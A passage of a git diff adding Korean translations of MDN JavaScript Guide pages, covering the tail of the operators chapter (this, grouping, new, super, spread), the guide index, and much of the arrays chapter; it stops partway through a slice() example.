+<p>현재 객체를 참조하는 데 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> 키워드</a>를 사용합니다. 일반적으로, this는 메소드에서 호출하는 객체를 참조합니다. 점(.)이나 괄호([])로 접근할 수 있습니다.</p>
+
+<pre class="syntaxbox">this["propertyName"]
+this.propertyName
+</pre>
+
+<p>어떤 객체의 최솟값 최댓값에 대하여, value 프로퍼티가 유효범위에 속하는지를 평가하는 validate 함수를 호출했다고 가정해봅시다.</p>
+
+<pre class="brush: js">function validate(obj, lowval, hival){
+  if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+    console.log("Invalid Value!");
+}
+</pre>
+
+<p>다음과 같이 각 form 요소의 onChange 이벤트 처리기에서 validate 함수를 호출할 수 있습니다. this 일차식을 사용하여 form 요소(element)를 전달할 수 있습니다:</p>
+
+<pre class="brush: html">&lt;p&gt;Enter a number between 18 and 99:&lt;/p&gt;
+&lt;input type="text" name="age" size=3 onChange="validate(this, 18, 99);"&gt;
+</pre>
+
+<h4 id="그룹_연산자">그룹 연산자</h4>
+
+<p>그룹연산자 ()는 표현식 평가의 우선순위를 조절합니다. 예를 들어, 곱셈과 나눗셈 연산을 무시하고, 우선 덧셈 뺄셈 연산을 먼저 수행할 수도 있습니다.</p>
+
+<pre class="brush:js">var a = 1;
+var b = 2;
+var c = 3;
+
+// default precedence
+a + b * c     // 7
+// evaluated by default like this
+a + (b * c)   // 7
+
+// now overriding precedence
+// addition before multiplication
+(a + b) * c   // 9
+
+// which is equivalent to
+a * c + b * c // 9
+</pre>
+
+<h3 id="좌변식">좌변식</h3>
+
+<p>좌측값들이 좌변식의 목적입니다.</p>
+
+<h4 id="new" name="new"><code>new</code></h4>
+
+<p><span>당신은 사용자 정의 객체 형식 또는 한 내장된 객체 형식의 인스턴스를 만드는 데는 </span><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/new">new 연산자</a>를 </code><span>사용할 수 있습니다.</span> new는 아래와 같이 사용할 수 있습니다:</p>
+
+<pre class="brush: js">var objectName = new objectType([param1, param2, ..., paramN]);
+</pre>
+
+<h4 id="super">super</h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/super">Super 키워드</a>는<span>개체의 부모에 함수를 호출하는 데 사용됩니다. 예를 들어 이것은 부모생성자를 부르는 </span> <a href="/ko/docs/Web/JavaScript/Reference/Classes">클래스들</a><span>과 함께 유용합니다 </span></p>
+
+<pre class="syntaxbox">super([arguments]); // calls the parent constructor.
+super.functionOnParent([arguments]);
+</pre>
+
+<h4 id="확산연산자">확산연산자</h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Spread_operator">확산연산자</a>는 다중인수(함수호출)또는 다중요소(문자배열)들이 예상되는 곳에서 확장될 수 있는 표현을 하게합니다.</p>
+
+<p><strong>Example:</strong> 만약 하나의 배열에 다른 하나의 배열을 추가하고 싶을 때에는 Array 리터럴 구문이 더이상 충분하지않으므로 <code>push</code>, <code>splice</code>, <code>concat</code>과 같은 함수를 사용하는 것이 좋습니다. 하지만 확산연산자를 사용할 경우 좀 더 간결한 구문으로 구현할 수 있습니다. </p>
+
+<pre class="brush: js">var parts = ['shoulder', 'knees'];
+var lyrics = ['head', ...parts, 'and', 'toes'];
+
+//[ 'head', 'shoulders', 'knees', 'and', 'toes' ]
+</pre>
+
+<p><span>위와 같이, 확산연산자의 함수 호출은 다음과 같이 사용합니다.</span></p>
+
+<pre class="brush: js">function f(x, y, z) { }
+var args = [0, 1, 2];
+f(...args);</pre>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</div>
diff --git a/files/ko/web/javascript/guide/index.html b/files/ko/web/javascript/guide/index.html
new file mode 100644
index 0000000000..7ae4ac0fcf
--- /dev/null
+++ b/files/ko/web/javascript/guide/index.html
@@ -0,0 +1,138 @@
+---
+title: JavaScript 안내서
+slug: Web/JavaScript/Guide
+tags:
+  - Guide
+  - JavaScript
+  - 'l10n:priority'
+  - 자바스크립트
+translation_of: Web/JavaScript/Guide
+---
+<div>{{jsSidebar("JavaScript Guide")}}</div>
+
+<p class="summary">JavaScript 안내서에서 <a href="/ko/docs/Web/JavaScript">JavaScript</a> 언어 개요와 사용법을 알아보세요. 언어 기능에 대해 상세한 정보가 필요하면 <a href="/ko/docs/Web/JavaScript/Reference">JavaScript 참고서</a>를 방문하세요.</p>
+
+<h2 id="목차">목차</h2>
+
+<p>본 안내서는 여러 장으로 구성되어 있습니다.</p>
+
+<ul class="card-grid">
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Introduction">소개</a></span>
+
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Introduction#Where_to_find_JavaScript_information">이 가이드에 대해서</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Introduction#What_is_JavaScript.3F">JavaScript에 대하여</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_Java">JavaScript와 Java</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Introduction#JavaScript_and_the_ECMAScript_Specification">ECMAScript</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Introduction#Getting_started_with_JavaScript">도구</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Introduction#Hello_world">Hello World</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types">문법과 자료형</a></span>
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Basics">기본 구문 &amp; 주석</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">선언문</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_scope">변수 범위</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Variable_hoisting">변수 가져오기</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Data_structures_and_types">데이터 구조와 타입</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Literals">리터럴</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling">흐름 제어과 오류 처리</a></span>
+  <p><code><a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#if...else_statement">if...else</a></code><br>
+   <code><a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#switch_statement">switch</a></code><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Exception_handling_statements"><code>try</code>/<code>catch</code>/<code>throw</code></a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Utilizing_Error_objects">Error objects</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration">반복과 순회</a></span>
+  <p><code><a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement">for</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#while_statement">while</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#do...while_statement">do...while</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#break_statement">break</a>/<a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#continue_statement">continue</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#for...in_statement">for..in</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Loops_and_iteration#for...of_statement">for..of</a></code></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Functions">함수</a></span>
+
+  <p><a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%95%A8%EC%88%98_%EC%A0%95%EC%9D%98">함수 선언하기</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%95%A8%EC%88%98_%ED%98%B8%EC%B6%9C">함수 호출하기</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%95%A8%EC%88%98%EC%9D%98_%EB%B2%94%EC%9C%84">함수 범위</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%81%B4%EB%A1%9C%EC%A0%80">클로저(Closures</a>)<br>
+   <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%EC%9D%B8%EC%88%98(arguments)_%EA%B0%9D%EC%B2%B4_%EC%82%AC%EC%9A%A9%ED%95%98%EA%B8%B0">아규먼트</a> &amp; <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%95%A8%EC%88%98%EC%9D%98_%EB%A7%A4%EA%B0%9C%EB%B3%80%EC%88%98">파라미터</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98#%ED%99%94%EC%82%B4%ED%91%9C_%ED%95%A8%EC%88%98">Arrow 함수</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators">표현식과 연산자</a></span>
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">할당 연산</a> &amp; <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Comparison_operators">비교 연산</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Arithmetic_operators">산술 연산자</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators">비트연산</a> &amp; <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Logical_operators">논리 연산자</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#Conditional_(ternary)_operator">Conditional (ternary) operator</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates">숫자와 날짜</a></span><a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers"> 리터럴</a>
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object"><code>Number</code> 오브젝트</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Math_object"><code>Math</code> </a><a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object" style="background-color: rgba(234, 239, 242, 0.498039);">오브젝트</a><br>
+   <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Date_object"><code>Date</code> </a><a href="/ko/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object" style="background-color: rgba(234, 239, 242, 0.498039);">오브젝트</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Text_formatting">텍스트 서식</a></span>
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Text_formatting#String_literals">String 리터럴</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Text_formatting#String_objects"><code>String</code> 오브젝트</a><br>
+   <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Text_formatting#Multi-line_template_literals">템플릿 리터럴</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Text_formatting#Internationalization">지역 별 서식</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Regular_Expressions">정규식</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Indexed_collections">인덱스 콜렉션</a></span>
+
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">Arrays</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Indexed_collections#Typed_Arrays">Typed arrays</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Keyed_collections">키 콜렉션</a></span>
+  <p><code><a href="/ko/docs/Web/JavaScript/Guide/Keyed_collections#Map_object">Map</a></code><br>
+   <code><a href="/ko/docs/Web/JavaScript/Guide/Keyed_collections#WeakMap_object">WeakMap</a></code><br>
+   <code><a href="/ko/docs/Web/JavaScript/Guide/Keyed_collections#Set_object">Set</a></code><br>
+   <code><a href="/ko/docs/Web/JavaScript/Guide/Keyed_collections#WeakSet_object">WeakSet</a></code></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects">객체와 작업하기</a></span>
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties">오브젝트와 속성</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">오브젝트 생성하기</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_methods">메소드 정의하기</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Getter 와 setter</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">객체 모델</a><a href="/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model" style="font-family: Arial, x-locale-body, sans-serif; letter-spacing: -0.00278rem;"> </a></span>
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">프로토타입 기반 객체 지향 프로그래밍</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creating_the_hierarchy">오브젝트 계층 생성하기</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Property_inheritance_revisited">상속</a></p>
+ </li>
+</ul>
+
+<ul class="card-grid">
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Using_promises">프로미스</a>
+
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Using_promises#Guarantees">Guarantees</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Using_promises#Chaining">Chaining</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Using_promises#Error_propagation">Error propagation</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Using_promises#Composition">Composition</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Using_promises#Timing">Timing</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators">반복기와 생성기</a></span>
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterators">Iterators</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterables">Iterables</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">Generators</a></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Meta_programming">메타 프로그래밍</a></span>
+  <p><code><a href="/ko/docs/Web/JavaScript/Guide/Meta_programming#Proxies">프록시(Proxy</a></code><a href="/ko/docs/Web/JavaScript/Guide/Meta_programming#Proxies" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; background-color: rgba(234, 239, 242, 0.498039);">)</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Meta_programming#Handlers_and_traps">Handlers와 traps</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Meta_programming#Revocable_Proxy">Revocable Proxy</a><br>
+   <code><a href="/ko/docs/Web/JavaScript/Guide/Meta_programming#Reflection">Reflect</a></code></p>
+ </li>
+ <li><span><a href="/ko/docs/Web/JavaScript/Guide/Modules">JavaScript 모듈</a></span>
+  <p><a href="/ko/docs/Web/JavaScript/Guide/Modules#Exporting_module_features">Exporting</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Modules#Importing_features_into_your_script">Importing</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Modules#Default_exports_versus_named_exports">Default exports</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Modules#Renaming_imports_and_exports">Renaming features</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Modules#Aggregating_modules">Aggregating modules</a><br>
+   <a href="/ko/docs/Web/JavaScript/Guide/Modules#Dynamic_module_loading">Dynamic module loading</a></p>
+ </li>
+</ul>
+
+<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p>
diff --git a/files/ko/web/javascript/guide/indexed_collections/index.html b/files/ko/web/javascript/guide/indexed_collections/index.html
new file mode 100644
index 0000000000..f048ddc752
--- /dev/null
+++ b/files/ko/web/javascript/guide/indexed_collections/index.html
@@ -0,0 +1,456 @@
+---
+title: Indexed collections
+slug: Web/JavaScript/Guide/Indexed_collections
+translation_of: Web/JavaScript/Guide/Indexed_collections
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Regular_Expressions", "Web/JavaScript/Guide/Keyed_Collections")}}</div>
+
+<p class="summary">이번장에서는 인덱스값에 의해 정렬이 되는 데이터 자료구조에 대해 소개합니다.  배열과 유사 배열 생성자인 {{jsxref("Array")}} 객체와 {{jsxref("TypedArray")}} 객체 같은 생성자들을 포함합니다. </p>
+
+<h2 id="배열_객체"><font face="Consolas, Liberation Mono, Courier, monospace">배열 객체</font></h2>
+
+<p>배열은 이름과 인덱스로 참조되는 정렬된 값들의 집합입니다. 예를 들면, 숫자로 된 사원번호를 index로하여 사원명을 가지고 있는 emp라는 배열을 가질 수 있습니다. 그래서 emp[1]은 사원번호 1번, emp[2]는 사원번호 2번, 이런식으로 사원번호를 인덱스 값으로 가질 수 있는 것입니다.</p>
+
+<p>자바스크립트는 명시적인 배열 데이터 형식을 가지고 있지 않습니다. 그러나 미리 정의된 배열 객체를 사용할 수 있고 배열 객체의 메서드를 개발하는 어플리케이션에서 사용되는 배열에 사용할 수 있습니다. 배열 객체는 합치기(joining), 순서 뒤집기(reversing) 그리고 정렬(sorting)과 같은 다양한 방법으로 배열을 조작하는 메서드들을 제공합니다. 정규 표현식과 함께 사용할 배열 길이와 기타 속성을 결정하는 속성이 있습니다.</p>
+
+<h3 id="배열_생성">배열 생성</h3>
+
+<p>아래의 구문들은 동일한 요소를 가지는 배열을 생성하는 방법들입니다. </p>
+
+<pre class="brush: js">var arr = new Array(element0, element1, ..., elementN);
+var arr = Array(element0, element1, ..., elementN);
+var arr = [element0, element1, ..., elementN];
+</pre>
+
+<p>요소0, 요소1, ..., 요소N은 배열내에 포함된 요소의 값 목록 입니다. 해당 값들이 명시되어 있을 경우, 해당 배열은 주어진 요소들을 포함하도록 초기화 됩니다. 해당 배열의 길이는 주어진 요소들의 갯수가 됩니다. </p>
+
+<p>대괄호 문법은 일명 "배열  문자" 혹은 "배열 초기화"라고 합니다. 대괄호 문법은 다른 배열 생성 표기법 보다 짧고 일반적으로 선호하는 문법입니다. 보다 상세한 내용은 <a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Array_literals" title="en-US/docs/JavaScript/Guide/Values, Variables, and Literals#Array Literals">Array literals</a>를 참조하세요.</p>
+
+<p> 길이가 0보다 크지만 아무런 요소를 가지고 있지 않은 배열을 생성하기 위한 방법은 아래와 같습니다. </p>
+
+<pre class="brush: js">var arr = new Array(arrayLength);
+var arr = Array(arrayLength);
+
+// This has exactly the same effect
+var arr = [];
+arr.length = arrayLength;
+</pre>
+
+<div class="note">
+<p>Note : 위의 예제 코드에서, <code>arrayLength</code>는 반드시 <code>숫자</code>여야 합니다. 그렇지 않으면 하나의 요소(주어진 값)을 가지는 배열이 생성 됩니다. <code>arr.length</code>를 호출하면 <code>arrayLength</code>가 반환이 되지만 해당 배열은 실제로 아무런 요소를 가지고 있지 않습니다. {{jsxref("Statements/for...in","for...in")}} 반복문을 실행하면 해당 배열은 아무런 요소를 반환하지 않습니다.</p>
+</div>
+
+<p>추가로 아래의 예제에서 볼 수 있듯이, 새로이 정의된 혹은 이미 존재하는 객체 변수의 속성으로 배열을 할당 할 수 있습니다.</p>
+
+<pre class="brush: js">var obj = {};
+// ...
+obj.prop = [element0, element1, ..., elementN];
+
+// OR
+var obj = {prop: [element0, element1, ...., elementN]}
+</pre>
+
+<p>값이 <code>숫자</code>인 하나의 요소만을 가지는 배열을 생성하고자 할 경우, 반드시 대괄호 문법을 사용해야 합니다. 하나의 <code>숫자</code> 값을 Array() 생성자에게 전달할 경우, 그 숫자 값은 해당 배열의 요소가 아니라 <code>arrayLength</code>(배열의 길이)로 해석됩니다. </p>
+
+<pre class="brush: js">var arr = [42];
+var arr = Array(42); // Creates an array with no element,
+                     // but with arr.length set to 42
+
+// The above code is equivalent to
+var arr = [];
+arr.length = 42;
+</pre>
+
+<p>만약 숫자이지만 0이 아닌 소수점을 가지는 숫자를 <code>Array()생성자에게 인자로 줄 경우, 범위 에러(RangeError)가 발생하게 됩니다. 아래의 예제는 범위 에러가 발생되는 상황을 보여 줍니다. </code></p>
+
+<pre class="brush: js">var arr = Array(9.3);  // RangeError: Invalid array length
+</pre>
+
+<p>만약 임의의 데이터 형식인 하나의 요소를 가지는 배열을 생성하고자 할 경우, 배열 표기법을 사용하는 것이 안전합니다. 혹은 빈 배열을 먼저 선언한 후 임의의 데이터 값을 해당 배열에 추가하는 것도 방법이 됩니다. </p>
+
+<p>ES2015에서 요소가 하나인 배열을 만들기 위해  Array.of 정적 메소드를 사용할 수 있습니다.</p>
+
+<pre><em>let wisenArray = Array.of(9.3) // wisenArray contains only one element 9.3</em></pre>
+
+<h3 id="배열에_값_저장">배열에 값 저장</h3>
+
+<p>배열의 요소에 값을 할당하여 배열에 값을 저장할 수 있습니다. 예를 들면, </p>
+
+<pre class="brush: js">var emp = [];
+emp[0] = 'Casey Jones';
+emp[1] = 'Phil Lesh';
+emp[2] = 'August West';
+</pre>
+
+<div class="note">
+<p><strong>참고: </strong>위의 코드 예제 처럼 배열 연산자에 양의 정수가 아닌 값을 줄 경우, 배열의 요소가 대신 배열로 대변되는 객체의 속성이 생성이 됩니다. </p>
+</div>
+
+<pre class="brush: js">var arr = [];
+arr[3.4] = 'Oranges';
+console.log(arr.length);                // 0
+console.log(arr.hasOwnProperty(3.4));   // true
+</pre>
+
+<p>배열을 생성함과 동시에 배열에 값을 저장할 수 있습니다. </p>
+
+<pre class="brush: js">var myArray = new Array('Hello', myVar, 3.14159);
+var myArray = ['Mango', 'Apple', 'Orange'];
+</pre>
+
+<h3 id="배열_요소의_참조">배열 요소의 참조</h3>
+
+<p>배열의 요소를 참조하기 위해서 해당 요소의 인덱스(요소의 순서를 나타내는 )를 사용할 수 있습니다. 예를 들어, 아래와 같이 배열을 선언 하였다면</p>
+
+<pre class="brush: js">var myArray = ['Wind', 'Rain', 'Fire'];
+</pre>
+
+<p>배열의 첫번째 요소는 <code>myArray[0]로 참조할 수 있고 두번째 요소는 myArray[1]로 참조할 수 있습니다. 배열의 인덱스 값은 0부터 시작합니다.</code></p>
+
+<div class="note">
+<p><strong>참고: </strong>배열 연산자(대괄호)는 배열의 속성에 접근하기 위해서도 사용될 수 있습니다.(배열 또한 객체이기 때문입니다.) 예를 들면 아래와 같습니다.</p>
+</div>
+
+<pre class="brush: js">var arr = ['one', 'two', 'three'];
+arr[2];  // three
+arr["length"];  // 3
+</pre>
+
+<h3 id="배열_길이에_대한_이해">배열 길이에 대한 이해</h3>
+
+<p>실제 구현에서, 자바스트립트의 배열은 배열에 포함된 요소들을 배열의 인덱스 값을 속성 이름으로 사용하여 표준 객체의 속성처럼 저장을 합니다. 길이 속성은 좀 특별합니다. 배열의 길이는 항상 마지막 요소의 인덱스에 1을 더한 값을 반환합니다.(다음 예제에서 Dusty는 인덱스 30번째에 위치하기때문에 cats배열의 길이는 31이 됩니다.) 기억하실 것은 자바스크립트 배열의 인덱스는 항상 1부터가 아닌 0부터 시작합니다. 이것이 의미하는 바는 배열의 길이 속성은 배열에 저장되어 있는 가장 큰 인덱스보다 1만큼 큰 값이 된다는 것입니다. </p>
+
+<pre class="brush: js">var cats = [];
+cats[30] = ['Dusty'];
+console.log(cats.length); // 31
+
+</pre>
+
+<p>배열의 길이(<code>length</code>) 속성을 지정하는 것 또한 가능합니다. 만약 배열에 저장되어 있는 요소의 갯수보다 작은 값을 배열 길이로 지정하게 되면, 지정된 배열 길이보다 큰 인덱스 값을 가지는 요소는 배열에서 삭제됩니다. 0을 배열 길이로 지정하게 되면 해당 배열은 요소를 가지지 않는 빈 배열이 되는 것입니다.</p>
+
+<pre class="brush: js">var cats = ['Dusty', 'Misty', 'Twiggy'];
+console.log(cats.length); // 3
+
+cats.length = 2;
+console.log(cats); // logs "Dusty,Misty" - Twiggy has been removed
+
+cats.length = 0;
+console.log(cats); // logs []; the cats array is empty
+
+cats.length = 3;
+console.log(cats); // logs [ &lt;3 empty items ]
+</pre>
+
+<h3 id="배열의_요소를_반복처리하기">배열의 요소를 반복처리하기</h3>
+
+<p>배열을 가지고 처리하는 주된 작업은 배열의 요소를 반복적으로 접근해서 읽어오는 작업입니다. 가장 간단한 방법은 아래와 같습니다. </p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+for (var i = 0; i &lt; colors.length; i++) {
+  console.log(colors[i]);
+}
+</pre>
+
+<p>배열이 아무런 요소를 포함하고 있지 않다면  반복문 조건에서 false로 평가됩니다. 배열의 요소가 <a href="https://developer.mozilla.org/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> node들을 포함한다면 보다 효율적인 코드 관용구를 사용할 수 있습니다. </p>
+
+<pre class="brush: js">var divs = document.getElementsByTagName('div');
+for (var i = 0, div; div = divs[i]; i++) {
+  /* Process div in some way */
+}
+</pre>
+
+<p>위의 예제 코드의 for반복문 조건은 배열의 길이을 확인하는 작업을 피할 수 있고, div변수가 매 반복마다 현재의 요소를 가지게 됩니다. </p>
+
+<p>{{jsxref("Array.forEach", "forEach()")}} 메서드는 배열의 요소를 반복처리할 수 있는 또 다른 방법입니다:</p>
+
+<pre class="brush: js">var colors = ['red', 'green', 'blue'];
+colors.forEach(function(color) {
+  console.log(color);
+});
+// red
+// green
+// blue
+</pre>
+
+<p>ES2015 Arrow Function으로 다음과 같이 더 짧게 코드를 짤 수 있습니다.</p>
+
+<pre>var colors = ['red', 'green', 'blue'];
+color.forEach(color =&gt; console.log(color));
+// red
+// green
+// blue
+</pre>
+
+<p><code>forEach</code>에 인자로 주어진 함수는 배열의 각 요소에 대해 한번씩 실행이 되고 배열의 각 요소는 인자로 주어진 함수의 인자로 주어지게 됩니다. 할당 되지 않은 요소 값은 <code>forEach</code> 반복문에서 처리 되지 않습니다. </p>
+
+<p><code>forEach</code>반복문으로 배열의 요소를 반복처리할때, 배열을 정의할 때 생략된 요소는 처리대상이 되지 않는 것에 유의 하세요. 하지만 <code>undefined</code>을 생략된 요소에 할당하게 되면 undefined로 처리됩니다.  </p>
+
+<p> </p>
+
+<pre class="brush: js">var array = ['first', 'second', , 'fourth'];
+
+array.forEach(function(element) {
+  console.log(element);
+})
+// first
+// second
+// fourth
+
+if(array[2] === undefined) {
+   console.log('array[2] is undefined'); // true
+}
+
+var array = ['first', 'second', undefined, 'fourth'];
+
+array.forEach(function(element) {
+  console.log(element);
+});
+// first
+// second
+// undefined
+// fourth
+</pre>
+
+<p>JavaScript 요소는 표준 객체 속성으로 저장되므로 {{jsxref ( "Statements / for ... in", "for ... in")}} 루프를 사용하여 JavaScript 배열을 반복하는 것은 바람직하지 않습니다. 왜냐면 일반 요소들과 그리고 모든 열거할 수 있는 속성들이 나열이 되기 때문입니다.</p>
+
+<h3 id="배열_객체의_메서드">배열 객체의 메서드</h3>
+
+<p>{{jsxref("Array")}} 객체는 다음과 같은 메서드들을 가지고 있습니다:</p>
+
+<p>{{jsxref("Array.concat", "concat()")}} 메서드는 두개의 배열을 합쳐 새로운 배열을 반환합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2', '3');
+myArray = myArray.concat('a', 'b', 'c');
+// myArray is now ["1", "2", "3", "a", "b", "c"]</code></pre>
+
+<p>{{jsxref("Array.join", "join(delimiter = ',')")}} 메서드는 배열의 모든 요소를 주어진 구분자로 연결된 하나의 문자열을 반환 합니다. </p>
+
+<pre><code>var myArray = new Array('Wind', 'Rain', 'Fire');
+var list = myArray.join(' - '); // list is "Wind - Rain - Fire"</code></pre>
+
+<p>{{jsxref("Array.push", "push()")}}메서드는 하나 혹은 그 이상의 요소를 배열의 마지막에 추가하고 추가된 요소를 포함한 길이를 반환합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2');
+myArray.push('3'); // myArray is now ["1", "2", "3"]</code></pre>
+
+<p>{{jsxref("Array.pop", "pop()")}} 메서드는 배열의 마지막 요소를 제거 하고 그 제거된 요소를 반환합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2', '3');
+var last = myArray.pop();
+// myArray is now ["1", "2"], last = "3"</code></pre>
+
+<p>{{jsxref("Array.shift", "shift()")}}메서드는 배열의 첫번째 요소를 제거하고 그 제거된 요소를 반환합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2', '3');
+var first = myArray.shift();
+// myArray is now ["2", "3"], first is "1"</code></pre>
+
+<p>{{jsxref("Array.shift", "unshift()")}}메서드는 하나 혹은 그 이상의 요소를 배열의 앞쪽에 추가하고 추가한 요소를 포함한 길이를 반환 합니다.</p>
+
+<pre><code>var myArray = new Array('1', '2', '3');
+myArray.unshift('4', '5');
+// myArray becomes ["4", "5", "1", "2", "3"]</code></pre>
+
+<p>{{jsxref("Array.slice", "slice(start_index, upto_index)")}}메서드는 배열의 특정 부분을 추출하여 그 추출된 부분을 포함하는 새로운 배열을 반환 합니다. upto_index에 해당하는 요소는 포함되지 않습니다. </p>
+
+<pre><code>var myArray = new Array('a', 'b', 'c', 'd', 'e');
+myArray = myArray.slice(1, 4); // starts at index 1 and extracts all elements
